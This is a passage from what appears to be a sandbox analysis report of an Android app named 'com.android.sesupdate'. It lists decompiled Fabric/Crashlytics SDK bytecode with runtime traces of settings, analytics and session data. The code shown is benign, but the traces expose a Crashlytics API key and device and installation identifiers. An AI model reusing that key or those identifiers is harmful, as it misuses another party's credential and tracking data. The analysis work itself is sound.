                          77invoke-static {v9}, Lio/fabric/sdk/android/Fabric;->access$100(Landroid/content/Context;)Landroid/app/Activity;
                          78move-result-object v9
                          80invoke-direct/range {v0 .. v9}, Lio/fabric/sdk/android/Fabric;-><init>(Landroid/content/Context;Ljava/util/Map;Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;Landroid/os/Handler;Lio/fabric/sdk/android/Logger;ZLio/fabric/sdk/android/InitializationCallback;Lio/fabric/sdk/android/services/common/IdManager;Landroid/app/Activity;)V
                          81return-object v0
                          82cond_6f: new-instance v0, Lio/fabric/sdk/android/DefaultLogger;
                          84invoke-direct {v0}, Lio/fabric/sdk/android/DefaultLogger;-><init>()V
                          85iput-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->logger:Lio/fabric/sdk/android/Logger;
                          86goto/16 :goto_29
                          87cond_77:
                          88iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->kits:[Lio/fabric/sdk/android/Kit;
                          90invoke-static {v0}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
                          91move-result-object v0
                          93invoke-static {v0}, Lio/fabric/sdk/android/Fabric;->access$000(Ljava/util/Collection;)Ljava/util/Map;
                          94move-result-object v2
                          95goto/16 :goto_46
                          Cross References
                          APIs
                          • io.fabric.sdk.android.services.common.IdManager.getInstallerPackageName
                          • android.text.TextUtils.isEmpty
                          • java.lang.Boolean.valueOf
                          Strings
                          • Beta
                          • Beta kit initializing...
                          • com.google.android.feedback
                          • A Beta device token was not found for this app
                          • Beta device token is present, checking for app updates.
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          3move-result-object v0
                          5const-string v2, "Beta"
                          7const-string v6, "Beta kit initializing..."
                          9invoke-interface {v0, v2, v6}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          11invoke-virtual {p0}, Lcom/crashlytics/android/beta/Beta;->getContext()Landroid/content/Context;
                          12move-result-object v1
                          14invoke-virtual {p0}, Lcom/crashlytics/android/beta/Beta;->getIdManager()Lio/fabric/sdk/android/services/common/IdManager;
                          15move-result-object v3
                          17invoke-virtual {v3}, Lio/fabric/sdk/android/services/common/IdManager;->getInstallerPackageName()Ljava/lang/String;
                          • Time: 994619662
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • com.google.android.feedback
                          18move-result-object v10
                          20invoke-direct {p0, v1, v10}, Lcom/crashlytics/android/beta/Beta;->getBetaDeviceToken(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                          21move-result-object v9
                          23invoke-static {v9}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          24move-result v0
                          25if-eqz v0, :cond_32
                          27invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          28move-result-object v0
                          30const-string v2, "Beta"
                          32const-string v6, "A Beta device token was not found for this app"
                          34invoke-interface {v0, v2, v6}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          35const/4 v0, 0x0
                          37invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                          38move-result-object v0
                          39goto_31: return-object v0
                          40cond_32:
                          41invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          42move-result-object v0
                          44const-string v2, "Beta"
                          46const-string v6, "Beta device token is present, checking for app updates."
                          48invoke-interface {v0, v2, v6}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          50invoke-direct {p0}, Lcom/crashlytics/android/beta/Beta;->getBetaSettingsData()Lio/fabric/sdk/android/services/settings/BetaSettingsData;
                          51move-result-object v4
                          53invoke-direct {p0, v1}, Lcom/crashlytics/android/beta/Beta;->loadBuildProperties(Landroid/content/Context;)Lcom/crashlytics/android/beta/BuildProperties;
                          54move-result-object v5
                          56invoke-virtual {p0, v4, v5}, Lcom/crashlytics/android/beta/Beta;->canCheckForUpdates(Lio/fabric/sdk/android/services/settings/BetaSettingsData;Lcom/crashlytics/android/beta/BuildProperties;)Z
                          57move-result v0
                          58if-eqz v0, :cond_64
                          60iget-object v0, p0, Lcom/crashlytics/android/beta/Beta;->updatesController:Lcom/crashlytics/android/beta/UpdatesController;
                          61new-instance v6, Lio/fabric/sdk/android/services/persistence/PreferenceStoreImpl;
                          63invoke-direct {v6, p0}, Lio/fabric/sdk/android/services/persistence/PreferenceStoreImpl;-><init>(Lio/fabric/sdk/android/Kit;)V
                          64new-instance v7, Lio/fabric/sdk/android/services/common/SystemCurrentTimeProvider;
                          66invoke-direct {v7}, Lio/fabric/sdk/android/services/common/SystemCurrentTimeProvider;-><init>()V
                          67new-instance v8, Lio/fabric/sdk/android/services/network/DefaultHttpRequestFactory;
                          69invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          70move-result-object v2
                          72invoke-direct {v8, v2}, Lio/fabric/sdk/android/services/network/DefaultHttpRequestFactory;-><init>(Lio/fabric/sdk/android/Logger;)V
                          73move-object v2, p0
                          75invoke-interface/range {v0 .. v8}, Lcom/crashlytics/android/beta/UpdatesController;->initialize(Landroid/content/Context;Lcom/crashlytics/android/beta/Beta;Lio/fabric/sdk/android/services/common/IdManager;Lio/fabric/sdk/android/services/settings/BetaSettingsData;Lcom/crashlytics/android/beta/BuildProperties;Lio/fabric/sdk/android/services/persistence/PreferenceStore;Lio/fabric/sdk/android/services/common/CurrentTimeProvider;Lio/fabric/sdk/android/services/network/HttpRequestFactory;)V
                          76cond_64: const/4 v0, 0x1
                          78invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                          79move-result-object v0
                          80goto/16 :goto_31
                          Cross References
                          APIs
                          • io.fabric.sdk.android.FabricContext.getPackageName
                          • io.fabric.sdk.android.services.common.IdManager.getInstallerPackageName
                          • android.content.Context.getPackageManager
                          • android.content.pm.PackageManager.getPackageInfo
                          • java.lang.Integer.toString
                          Strings
                          • com.android.sesupdate
                          • com.google.android.feedback
                          • 0.0
                          Position Instruction Meta Information
                          0.param p0, "context" # Landroid/content/Context;
                          1.param p1, "idManager" # Lio/fabric/sdk/android/services/common/IdManager;
                          2.param p2, "apiKey" # Ljava/lang/String;
                          3.param p3, "buildId" # Ljava/lang/String;
                          4.annotation system Ldalvik/annotation/Throws;
                          5value = {
                          6Landroid/content/pm/PackageManager$NameNotFoundException;
                          7}
                          8.end annotation
                          9.prologue
                          11invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          • Time: 994607899
                            • This:
                              • io.fabric.sdk.android.FabricContext@114e688f
                            • Return:
                              • com.android.sesupdate
                          12move-result-object v4
                          14invoke-virtual {p1}, Lio/fabric/sdk/android/services/common/IdManager;->getInstallerPackageName()Ljava/lang/String;
                          • Time: 994607906
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • com.google.android.feedback
                          15move-result-object v3
                          17invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          18move-result-object v8
                          19const/4 v0, 0x0
                          21invoke-virtual {v8, v4, v0}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                          22move-result-object v7
                          23iget v0, v7, Landroid/content/pm/PackageInfo;->versionCode:I
                          25invoke-static {v0}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                          26move-result-object v5
                          28iget-object v0, v7, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                          29if-nez v0, :cond_25
                          31const-string v6, "0.0"
                          32goto_1d: new-instance v0, Lcom/crashlytics/android/core/AppData;
                          33move-object v1, p2
                          34move-object v2, p3
                          36invoke-direct/range {v0 .. v6}, Lcom/crashlytics/android/core/AppData;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                          37return-object v0
                          38cond_25:
                          39iget-object v6, v7, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                          40goto/16 :goto_1d
                          Cross References
                          APIs
                          • org.json.JSONObject.toString
                          • java.lang.String.getBytes
                          Strings
                          • {"appBundleId":"com.android.sesupdate","executionId":"cd99f4ba-724f-464e-95d8-458120220e71","installationId":"727b1e1c99ed48bfa431dd3ed82456db","androidId":"d6ab1046af78a9eb","limitAdTrackingEnabled":false,"buildId":"edbc48a3-7084-4623-be9d-a00d32277bfa","osVersion":"4.2.1\/50","deviceModel":"samsung\/Galaxy Nexus","appVersionCode":"3","appVersionName":"3.0","timestamp":1537579416691,"type":"INSTALL","details":{"installedAt":"1537579411496"}}
                          • {"appBundleId":"com.android.sesupdate","executionId":"cd99f4ba-724f-464e-95d8-458120220e71","installationId":"727b1e1c99ed48bfa431dd3ed82456db","androidId":"d6ab1046af78a9eb","limitAdTrackingEnabled":false,"buildId":"edbc48a3-7084-4623-be9d-a00d32277bfa","osVersion":"4.2.1\/50","deviceModel":"samsung\/Galaxy Nexus","appVersionCode":"3","appVersionName":"3.0","timestamp":1537579417450,"type":"START","details":{"activity":"com.android.sesupdate.MainActivity"}}
                          • {"appBundleId":"com.android.sesupdate","executionId":"cd99f4ba-724f-464e-95d8-458120220e71","installationId":"727b1e1c99ed48bfa431dd3ed82456db","androidId":"d6ab1046af78a9eb","limitAdTrackingEnabled":false,"buildId":"edbc48a3-7084-4623-be9d-a00d32277bfa","osVersion":"4.2.1\/50","deviceModel":"samsung\/Galaxy Nexus","appVersionCode":"3","appVersionName":"3.0","timestamp":1537579417473,"type":"RESUME","details":{"activity":"com.android.sesupdate.MainActivity"}}
                          • {"appBundleId":"com.android.sesupdate","executionId":"cd99f4ba-724f-464e-95d8-458120220e71","installationId":"727b1e1c99ed48bfa431dd3ed82456db","androidId":"d6ab1046af78a9eb","limitAdTrackingEnabled":false,"buildId":"edbc48a3-7084-4623-be9d-a00d32277bfa","osVersion":"4.2.1\/50","deviceModel":"samsung\/Galaxy Nexus","appVersionCode":"3","appVersionName":"3.0","timestamp":1537579417694,"type":"PAUSE","details":{"activity":"com.android.sesupdate.MainActivity"}}
                          • {"appBundleId":"com.android.sesupdate","executionId":"cd99f4ba-724f-464e-95d8-458120220e71","installationId":"727b1e1c99ed48bfa431dd3ed82456db","androidId":"d6ab1046af78a9eb","limitAdTrackingEnabled":false,"buildId":"edbc48a3-7084-4623-be9d-a00d32277bfa","osVersion":"4.2.1\/50","deviceModel":"samsung\/Galaxy Nexus","appVersionCode":"3","appVersionName":"3.0","timestamp":1537579418134,"type":"STOP","details":{"activity":"com.android.sesupdate.MainActivity"}}
                          • UTF-8
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/SessionEvent;
                          1.annotation system Ldalvik/annotation/Throws;
                          2value = {
                          3Ljava/io/IOException;
                          4}
                          5.end annotation
                          6.prologue
                          8invoke-virtual {p0, p1}, Lcom/crashlytics/android/answers/SessionEventTransform;->buildJsonForEvent(Lcom/crashlytics/android/answers/SessionEvent;)Lorg/json/JSONObject;
                          9move-result-object v0
                          11invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                          • Time: 994608803
                            • This:
                              • {}
                            • Return:
                              • {"appBundleId":"com.android.sesupdate","executionId":"cd99f4ba-724f-464e-95d8-458120220e71","installationId":"727b1e1c99ed48bfa431dd3ed82456db","androidId":"d6ab1046af78a9eb","limitAdTrackingEnabled":false,"buildId":"edbc48a3-7084-4623-be9d-a00d32277bfa","osVersion":"4.2.1\/50","deviceModel":"samsung\/Galaxy Nexus","appVersionCode":"3","appVersionName":"3.0","timestamp":1537579416691,"type":"INSTALL","details":{"installedAt":"1537579411496"}}
                          • Time: 994609066
                            • This:
                              • {}
                            • Return:
                              • {"appBundleId":"com.android.sesupdate","executionId":"cd99f4ba-724f-464e-95d8-458120220e71","installationId":"727b1e1c99ed48bfa431dd3ed82456db","androidId":"d6ab1046af78a9eb","limitAdTrackingEnabled":false,"buildId":"edbc48a3-7084-4623-be9d-a00d32277bfa","osVersion":"4.2.1\/50","deviceModel":"samsung\/Galaxy Nexus","appVersionCode":"3","appVersionName":"3.0","timestamp":1537579417450,"type":"START","details":{"activity":"com.android.sesupdate.MainActivity"}}
                          • Time: 994609450
                            • This:
                              • {}
                            • Return:
                              • {"appBundleId":"com.android.sesupdate","executionId":"cd99f4ba-724f-464e-95d8-458120220e71","installationId":"727b1e1c99ed48bfa431dd3ed82456db","androidId":"d6ab1046af78a9eb","limitAdTrackingEnabled":false,"buildId":"edbc48a3-7084-4623-be9d-a00d32277bfa","osVersion":"4.2.1\/50","deviceModel":"samsung\/Galaxy Nexus","appVersionCode":"3","appVersionName":"3.0","timestamp":1537579417473,"type":"RESUME","details":{"activity":"com.android.sesupdate.MainActivity"}}
                          • Time: 994609514
                            • This:
                              • {}
                            • Return:
                              • {"appBundleId":"com.android.sesupdate","executionId":"cd99f4ba-724f-464e-95d8-458120220e71","installationId":"727b1e1c99ed48bfa431dd3ed82456db","androidId":"d6ab1046af78a9eb","limitAdTrackingEnabled":false,"buildId":"edbc48a3-7084-4623-be9d-a00d32277bfa","osVersion":"4.2.1\/50","deviceModel":"samsung\/Galaxy Nexus","appVersionCode":"3","appVersionName":"3.0","timestamp":1537579417694,"type":"PAUSE","details":{"activity":"com.android.sesupdate.MainActivity"}}
                          • Time: 994609832
                            • This:
                              • {}
                            • Return:
                              • {"appBundleId":"com.android.sesupdate","executionId":"cd99f4ba-724f-464e-95d8-458120220e71","installationId":"727b1e1c99ed48bfa431dd3ed82456db","androidId":"d6ab1046af78a9eb","limitAdTrackingEnabled":false,"buildId":"edbc48a3-7084-4623-be9d-a00d32277bfa","osVersion":"4.2.1\/50","deviceModel":"samsung\/Galaxy Nexus","appVersionCode":"3","appVersionName":"3.0","timestamp":1537579418134,"type":"STOP","details":{"activity":"com.android.sesupdate.MainActivity"}}
                          12move-result-object v0
                          14const-string v1, "UTF-8"
                          16invoke-virtual {v0, v1}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
                          17move-result-object v0
                          18return-object v0
                          Cross References
                          APIs
                          • android.content.res.Resources.openRawResources
                          • java.util.concurrent.Future.get
                          • java.util.Map.values
                          • java.lang.Boolean.valueOf
                          • java.util.HashMap.<init>
                          Strings
                          • Fabric
                          • Error performing auto configuration.
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->getContext()Landroid/content/Context;
                          3move-result-object v6
                          5invoke-static {v6}, Lio/fabric/sdk/android/services/common/CommonUtils;->getAppIconHashOrNull(Landroid/content/Context;)Ljava/lang/String;
                          • Time: 994607585
                            • This:
                              • android.content.res.Resources@19ea9460
                            • p0: 2130837504
                            • Return:
                              • android.content.res.AssetManager$AssetInputStream@5985063
                          6move-result-object v2
                          7const/4 v0, 0x0
                          9invoke-direct {p0}, Lio/fabric/sdk/android/Onboarding;->retrieveSettingsData()Lio/fabric/sdk/android/services/settings/SettingsData;
                          10move-result-object v5
                          11if-eqz v5, :cond_2b
                          12try_start_f:
                          13iget-object v6, p0, Lio/fabric/sdk/android/Onboarding;->kitsFinder:Ljava/util/concurrent/Future;
                          14if-eqz v6, :cond_30
                          16iget-object v6, p0, Lio/fabric/sdk/android/Onboarding;->kitsFinder:Ljava/util/concurrent/Future;
                          18invoke-interface {v6}, Ljava/util/concurrent/Future;->get()Ljava/lang/Object;
                          19move-result-object v4
                          20check-cast v4, Ljava/util/Map;
                          21goto_1b:
                          22iget-object v6, p0, Lio/fabric/sdk/android/Onboarding;->providedKits:Ljava/util/Collection;
                          24invoke-virtual {p0, v4, v6}, Lio/fabric/sdk/android/Onboarding;->mergeKits(Ljava/util/Map;Ljava/util/Collection;)Ljava/util/Map;
                          25move-result-object v3
                          27iget-object v6, v5, Lio/fabric/sdk/android/services/settings/SettingsData;->appData:Lio/fabric/sdk/android/services/settings/AppSettingsData;
                          29invoke-interface {v3}, Ljava/util/Map;->values()Ljava/util/Collection;
                          30move-result-object v7
                          32invoke-direct {p0, v2, v6, v7}, Lio/fabric/sdk/android/Onboarding;->performAutoConfigure(Ljava/lang/String;Lio/fabric/sdk/android/services/settings/AppSettingsData;Ljava/util/Collection;)Z
                          33try_end_2a: move-result v0
                          34goto_2b:
                          35invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                          36move-result-object v6
                          37return-object v6
                          38cond_30: new-instance v4, Ljava/util/HashMap;
                          40invoke-direct {v4}, Ljava/util/HashMap;-><init>()V
                          41try_end_35: goto/16 :goto_1b
                          42catch_36: move-exception v1
                          44invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          45move-result-object v6
                          47const-string v7, "Fabric"
                          49const-string v8, "Error performing auto configuration."
                          51invoke-interface {v6, v7, v8, v1}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          52goto/16 :goto_2b
                          Cross References
                          APIs
                          • android.content.pm.PackageManager.getApplicationInfo
                          • android.text.TextUtils.isEmpty
                          Strings
                          • com.crashlytics.useFirebaseAppId
                          • google_app_id
                          • string
                          • com.android.sesupdate
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          2const/4 v2, 0x1
                          3const/4 v3, 0x0
                          5const-string v4, "com.crashlytics.useFirebaseAppId"
                          7invoke-static {p1, v4, v3}, Lio/fabric/sdk/android/services/common/CommonUtils;->getBooleanResourceValue(Landroid/content/Context;Ljava/lang/String;Z)Z
                          8move-result v4
                          9if-eqz v4, :cond_b
                          10cond_a: return v2
                          11cond_b:
                          12const-string v4, "google_app_id"
                          14const-string v5, "string"
                          16invoke-static {p1, v4, v5}, Lio/fabric/sdk/android/services/common/CommonUtils;->getResourcesIdentifier(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)I
                          17move-result v4
                          18if-eqz v4, :cond_3b
                          19move v1, v2
                          20goto_16: new-instance v4, Lio/fabric/sdk/android/services/common/ApiKey;
                          22invoke-direct {v4}, Lio/fabric/sdk/android/services/common/ApiKey;-><init>()V
                          24invoke-virtual {v4, p1}, Lio/fabric/sdk/android/services/common/ApiKey;->getApiKeyFromManifest(Landroid/content/Context;)Ljava/lang/String;
                          • Time: 994607686
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{efdbc43 com.android.sesupdate}
                          • Time: 994607709
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{1479feb5 com.android.sesupdate}
                          • Time: 994607896
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{2174e89b com.android.sesupdate}
                          • Time: 994607935
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{3a6c9be4 com.android.sesupdate}
                          • Time: 994608089
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{6425662 com.android.sesupdate}
                          • Time: 994608183
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{c95573f com.android.sesupdate}
                          • Time: 994608249
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{88f611f com.android.sesupdate}
                          • Time: 994609468
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{e8114c5 com.android.sesupdate}
                          • Time: 994609565
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{3b3c59a5 com.android.sesupdate}
                          25move-result-object v4
                          27invoke-static {v4}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          28move-result v4
                          29if-eqz v4, :cond_34
                          30new-instance v4, Lio/fabric/sdk/android/services/common/ApiKey;
                          32invoke-direct {v4}, Lio/fabric/sdk/android/services/common/ApiKey;-><init>()V
                          34invoke-virtual {v4, p1}, Lio/fabric/sdk/android/services/common/ApiKey;->getApiKeyFromStrings(Landroid/content/Context;)Ljava/lang/String;
                          35move-result-object v4
                          37invoke-static {v4}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          38move-result v4
                          39if-nez v4, :cond_3d
                          40cond_34: move v0, v2
                          41goto_35: if-eqz v1, :cond_39
                          42if-eqz v0, :cond_a
                          43cond_39: move v2, v3
                          44goto/16 :goto_a
                          45cond_3b: move v1, v3
                          46goto/16 :goto_16
                          47cond_3d: move v0, v3
                          48goto/16 :goto_35
                          APIs
                          • org.json.JSONObject.org.json.JSONObject
                          • org.json.JSONObject.toString
                          • java.lang.String.getBytes
                          • java.io.FileOutputStream.write
                          Strings
                          • 4.2.1
                          • REL
                          • {"build_version":"REL","is_rooted":false,"version":"4.2.1"}
                          Position Instruction Meta Information
                          0.param p1, "arg" # Ljava/io/FileOutputStream;
                          1.annotation system Ldalvik/annotation/Throws;
                          2value = {
                          3Ljava/lang/Exception;
                          4}
                          5.end annotation
                          6.prologue
                          7new-instance v0, Lorg/json/JSONObject;
                          8new-instance v1, Lcom/crashlytics/android/core/CrashlyticsController$22$1;
                          10invoke-direct {v1, p0}, Lcom/crashlytics/android/core/CrashlyticsController$22$1;-><init>(Lcom/crashlytics/android/core/CrashlyticsController$22;)V
                          • Time: 994608952
                            • Return:
                              • 4.2.1
                          • Time: 994608960
                            • Return:
                              • REL
                          12invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                          • Time: 994608966
                            • p0: {build_version=REL, is_rooted=false, version=4.2.1}
                            • Return:
                              • {"build_version":"REL","is_rooted":false,"version":"4.2.1"}
                          14invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                          • Time: 994608973
                            • This:
                              • {"build_version":"REL","is_rooted":false,"version":"4.2.1"}
                            • Return:
                              • {"build_version":"REL","is_rooted":false,"version":"4.2.1"}
                          15move-result-object v0
                          17invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                          18move-result-object v0
                          20invoke-virtual {p1, v0}, Ljava/io/FileOutputStream;->write([B)V
                          21return-void
                          Cross References
                          APIs
                          • android.content.pm.PackageManager.getPackageInfo
                          Strings
                          • com.android.vending
                          • Fabric
                          • AdvertisingInfo not present
                          • Using AdvertisingInfo from Service Provider
                          • Using AdvertisingInfo from Reflection Provider
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/AdvertisingInfoProvider;->getReflectionStrategy()Lio/fabric/sdk/android/services/common/AdvertisingInfoStrategy;
                          3move-result-object v0
                          5invoke-interface {v0}, Lio/fabric/sdk/android/services/common/AdvertisingInfoStrategy;->getAdvertisingInfo()Lio/fabric/sdk/android/services/common/AdvertisingInfo;
                          6move-result-object v1
                          8invoke-direct {p0, v1}, Lio/fabric/sdk/android/services/common/AdvertisingInfoProvider;->isInfoValid(Lio/fabric/sdk/android/services/common/AdvertisingInfo;)Z
                          9move-result v2
                          10if-nez v2, :cond_34
                          12invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/AdvertisingInfoProvider;->getServiceStrategy()Lio/fabric/sdk/android/services/common/AdvertisingInfoStrategy;
                          13move-result-object v0
                          15invoke-interface {v0}, Lio/fabric/sdk/android/services/common/AdvertisingInfoStrategy;->getAdvertisingInfo()Lio/fabric/sdk/android/services/common/AdvertisingInfo;
                          • Time: 994607794
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.vending
                            • flags: 0
                            • Return:
                              • PackageInfo{1b0b908 com.android.vending}
                          16move-result-object v1
                          18invoke-direct {p0, v1}, Lio/fabric/sdk/android/services/common/AdvertisingInfoProvider;->isInfoValid(Lio/fabric/sdk/android/services/common/AdvertisingInfo;)Z
                          19move-result v2
                          20if-nez v2, :cond_28
                          22invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          23move-result-object v2
                          25const-string v3, "Fabric"
                          27const-string v4, "AdvertisingInfo not present"
                          29invoke-interface {v2, v3, v4}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          30goto_27: return-object v1
                          31cond_28:
                          32invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          33move-result-object v2
                          35const-string v3, "Fabric"
                          37const-string v4, "Using AdvertisingInfo from Service Provider"
                          39invoke-interface {v2, v3, v4}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          40goto/16 :goto_27
                          41cond_34:
                          42invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          43move-result-object v2
                          45const-string v3, "Fabric"
                          47const-string v4, "Using AdvertisingInfo from Reflection Provider"
                          49invoke-interface {v2, v3, v4}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          50goto/16 :goto_27
                          APIs
                          • com.crashlytics.android.core.CrashlyticsController$18$1.<init>
                          • org.json.JSONObject.org.json.JSONObject
                          • org.json.JSONObject.toString
                          • java.lang.String.getBytes
                          • java.io.FileOutputStream.write
                          Strings
                          • {"started_at_seconds":1537579417,"session_id":"5BA599990096-0001-3F10-2139026BA246","generator":"Crashlytics Android SDK\/2.4.1.19"}
                          Position Instruction Meta Information
                          0.param p1, "arg" # Ljava/io/FileOutputStream;
                          1.annotation system Ldalvik/annotation/Throws;
                          2value = {
                          3Ljava/lang/Exception;
                          4}
                          5.end annotation
                          6.prologue
                          7new-instance v0, Lorg/json/JSONObject;
                          8new-instance v1, Lcom/crashlytics/android/core/CrashlyticsController$18$1;
                          10invoke-direct {v1, p0}, Lcom/crashlytics/android/core/CrashlyticsController$18$1;-><init>(Lcom/crashlytics/android/core/CrashlyticsController$18;)V
                          12invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                          • Time: 994608367
                            • p0: {started_at_seconds=1537579417, session_id=5BA599990096-0001-3F10-2139026BA246, generator=Crashlytics Android SDK/2.4.1.19}
                            • Return:
                              • {"started_at_seconds":1537579417,"session_id":"5BA599990096-0001-3F10-2139026BA246","generator":"Crashlytics Android SDK\/2.4.1.19"}
                          14invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                          • Time: 994608375
                            • This:
                              • {"started_at_seconds":1537579417,"session_id":"5BA599990096-0001-3F10-2139026BA246","generator":"Crashlytics Android SDK\/2.4.1.19"}
                            • Return:
                              • {"started_at_seconds":1537579417,"session_id":"5BA599990096-0001-3F10-2139026BA246","generator":"Crashlytics Android SDK\/2.4.1.19"}
                          15move-result-object v0
                          17invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                          18move-result-object v0
                          20invoke-virtual {p1, v0}, Ljava/io/FileOutputStream;->write([B)V
                          21return-void
                          APIs
                          • com.crashlytics.android.core.CrashlyticsController$20$1.<init>
                          • org.json.JSONObject.org.json.JSONObject
                          • org.json.JSONObject.toString
                          • java.lang.String.getBytes
                          • java.io.FileOutputStream.write
                          Strings
                          • {"version_name":"3.0","install_uuid":"727b1e1c99ed48bfa431dd3ed82456db","version_code":"3","api_key":"19d58776ce8832688957d734b44933eeffb4ed48","unity_version":"","delivery_mechanism":4,"app_identifier":"com.android.sesupdate"}
                          Position Instruction Meta Information
                          0.param p1, "arg" # Ljava/io/FileOutputStream;
                          1.annotation system Ldalvik/annotation/Throws;
                          2value = {
                          3Ljava/lang/Exception;
                          4}
                          5.end annotation
                          6.prologue
                          7new-instance v0, Lorg/json/JSONObject;
                          8new-instance v1, Lcom/crashlytics/android/core/CrashlyticsController$20$1;
                          10invoke-direct {v1, p0}, Lcom/crashlytics/android/core/CrashlyticsController$20$1;-><init>(Lcom/crashlytics/android/core/CrashlyticsController$20;)V
                          12invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                          • Time: 994608624
                            • p0: {version_name=3.0, install_uuid=727b1e1c99ed48bfa431dd3ed82456db, version_code=3, api_key=19d58776ce8832688957d734b44933eeffb4ed48, unity_version=, delivery_mechanism=4, app_identifier=com.android.sesupdate}
                            • Return:
                              • {"version_name":"3.0","install_uuid":"727b1e1c99ed48bfa431dd3ed82456db","version_code":"3","api_key":"19d58776ce8832688957d734b44933eeffb4ed48","unity_version":"","delivery_mechanism":4,"app_identifier":"com.android.sesupdate"}
                          14invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                          • Time: 994608646
                            • This:
                              • {"version_name":"3.0","install_uuid":"727b1e1c99ed48bfa431dd3ed82456db","version_code":"3","api_key":"19d58776ce8832688957d734b44933eeffb4ed48","unity_version":"","delivery_mechanism":4,"app_identifier":"com.android.sesupdate"}
                            • Return:
